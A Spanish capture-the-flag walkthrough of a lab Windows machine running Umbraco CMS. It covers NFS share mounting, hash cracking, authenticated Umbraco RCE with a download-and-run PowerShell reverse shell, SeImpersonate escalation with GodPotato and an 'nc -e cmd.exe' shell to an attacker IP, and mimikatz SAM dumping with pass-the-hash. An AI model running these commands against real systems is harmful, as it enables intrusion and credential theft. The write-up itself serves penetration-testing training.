Remote - WriteUp
🎯 Machine Info
Máquina Windows
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Nmap 7.94SVN scan initiated Sun Dec 3 18:40:51 2023 as: nmap -sCV -p 21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.229.68
Nmap scan report for 10.129.229.68
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open nlockmgr 1-4 (RPC #100021)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-12-03T17:41:50
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: -1s
HTTP 80
1
http://10.129.229.68/umbraco/
111 RPC
Vamos a enumerar el puerto 111 tanto en TCP como en UDP para ver si encontramos algo interesante.
Con nmap podríamos enumerarlo de las dos maneras siguientes:
1
2
3
$ sudo nmap -sSUC -p111 10.129.229.68
...
$ sudo nmap -p111 --script=nfs-showmount 10.129.229.68
Vamos a usar rpcinfo para enumerar servicios.
1
$ rpcinfo 10.129.229.68
Tenemos el servicio nfs con el que podríamos subir o descargar archivos. O también probar de montarlos.
1
2
3
4
$ showmount -e 10.129.229.68
...
Export list for 10.129.229.68:
/site_backups (everyone)
Descubrimos una ruta (/site_backups) que podríamos montar ya que tiene permisos para todo el mundo.
1
2
$ sudo mkdir /mnt/remote
$ sudo mount -t nfs 10.129.229.68:/site_backups /mnt/remote -o nolock
Ahora nos vamos a la carpeta que acabamos de montar con permisos de solo lectura y exploraremos todo con detenimiento.
El dominio de correo es @htb.local
Descubro el archivo “Umbraco.sdf” con jugoso contenido en su interior.
1
2
3
4
5
6
7
8
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
Ahora toca descubrir si son hashes de verdad e identificarlos para intentar crackearlos.
Copiamos este hash en un archivo que he llamado “hash.SHA1” y lo intentamos descifrar con nuestro amigo del alma john:
1
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.SHA1
Y parece que tenemos ganador!
Apuntamos las credenciales encontradas.
1
admin@htb.local:baconandcheese || UMBRACO Login
Vamos a probar las credenciales en el CMS de Umbraco:
Y entramos!
Vamos a buscar la versión exacta de Umbraco para ver los exploits que hay.
Umbraco version 7.12.4
Encontramos 2 con versión exacta y para Windows. Perfecto.
Nos copiamos el segundo exploit, el 49488 y lo ejecutamos con un comando sencillo para probar que funciuona:
1
$ python3 49488.py -u admin@htb.local -p baconandcheese -i 'http://10.129.229.68' -c whoami -a /priv
Y vemos que sí. Tenemos ejecución remota de comandos y encima ya vemos un privilegio explotable.
Para ello haremos uso del primer exploit. Nos lo copiaremos en nuestra carpeta y lo editaremos de la siguiente manera:
+Info: https://vk9-sec.com/umbraco-cms-7-12-4-authenticated-remote-code-execution/
Copiamos a nuestra carpeta también el script Invoke-PowerShellTcp.ps1, lo editaremos y al final pegaremos esta línea, adaptando la IP a la nuestra:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.30 -Port 4444
Editamos el archivo .py del exploit dejándolo así:
Estas son las líneas en texto editable.
"IEX(IWR http://10.10.16.30:9999/Invoke-PowerShellTcp.ps1 -UseBasicParsing)"
"powershell.exe"
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.129.229.68";
Ahora lanzamos un servidor Web con Python para que el script nos lo coja y lo ejecute.
1
$ python3 -m http.server 9999
Nos ponemos a la escucha para recibir la shell:
1
nc -nlvp 4444
Y por último ejecutamos el exploit:
1
2
3
$ python3 46153.py
Start
[]
Dentro!
ACTUALIZACIÓN: También podemos usar el exploit de GitHub que es más fácil de aplicar. https://github.com/Jonoans/Umbraco-RCE
Registramos la bandera situada en C:\Users\Public\user.txt y seguimos.
SYSTEMINFO
Host Name: REMOTE
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA801
Original Install Date: 2/19/2020, 3:03:29 PM
System Boot Time: 12/4/2023, 2:59:50 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2394 Mhz
[02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2394 Mhz
BIOS Version: VMware, Inc. VMW71.00V.21100432.B64.2301110304, 1/11/2023
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory: 2,047 MB
Available Physical Memory: 723 MB
Virtual Memory: Max Size: 2,431 MB
Virtual Memory: Available: 1,189 MB
Virtual Memory: In Use: 1,242 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 4 Hotfix(s) Installed.
[01]: KB4534119
[02]: KB4516115
[03]: KB4523204
[04]: KB4464455
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.229.68
[02]: fe80::d565:4a6d:9a3:24f0
[03]: dead:beef::d565:4a6d:9a3:24f0
Como tenemos el privilegio “SeImpersonate” habilitado podemos escalar a ususario “System” de una vez.
Para ello crearemos una carpeta llamada “tmp” en “C:\Users\Public\” y nos subiremos el exploit GodPotato.exe y el binario nc.exe.
Aprovechando que tenemos el servidor Web Python levantado nos traeremos los archivos.
> iwr -uri http://10.10.16.30:9999/nc.exe -Outfile nc.exe
...
> iwr -uri http://10.10.16.30:9999/godpotato.exe -Outfile godpotato.exe
Ahora nos ponemos en escucha con NetCat y rlwrap en el puerto 443 en otra terminal nueva:
1
$ rlwrap nc -nlvp 443
En la máquina víctima ejecutamos el exploit.
PS C:\Users\public\tmp> .\godpotato.exe -cmd ".\nc.exe -t -e C:\windows\system32\cmd.exe 10.10.16.30 443"
Éxito. Registramos la bandera que nos queda sita en la carpeta del usuario Administrator y podemos dar por finalizada la máquina.
ANEXO I:
En este punto también podríamos subir mimikatz.exe y obtener el hash del usuario Administrator para conectar por WinRM para investigar la máquina de una manera más cómoda.
1
2
3
4
5
6
7
8
9
10
mimikatz # lsadump::sam
Domain : REMOTE
SysKey : d132fb96a18c6ee06dee89f8effb8e06
Local SID : S-1-5-21-20699823-1431297389-2359617369
SAMKey : fb905a9047b1c62c9d3e592866fc61e8
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 86fc053bc0b23588798277b22540c40c
1
$ evil-winrm -i 10.129.229.68 -u 'Administrator' -H '86fc053bc0b23588798277b22540c40c'
ANEXO II:
FORMA CORRECTA DE HACER ESCALADA DE PRIVILEGIOS EN ESTA MÁQUINA
Para la escalada de privilegios en vez de tirar de GodPotato, la máquina está pensada para escalar a través de la aplicación que tiene instalada “Teamviewer”.
Nos descargamos el script WatchTV.ps1 de https://github.com/zaphoxx/WatchTV/tree/master y lo subimos a la máquina.
En la máquina remota ejecutamos:
> Import-Module .\WatchTV.ps1
> Get-TeamViewPasswords
Y nos encontrará el password del usuario Administrador en texto plano.
1
Administrator:!R3m0te!
Y ya podremos conectar mediante WinRM:
1
$ evil-winrm -i 10.129.229.68 -u 'Administrator' -p '!R3m0te!'
Última actualización: 2024-07-24
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0
















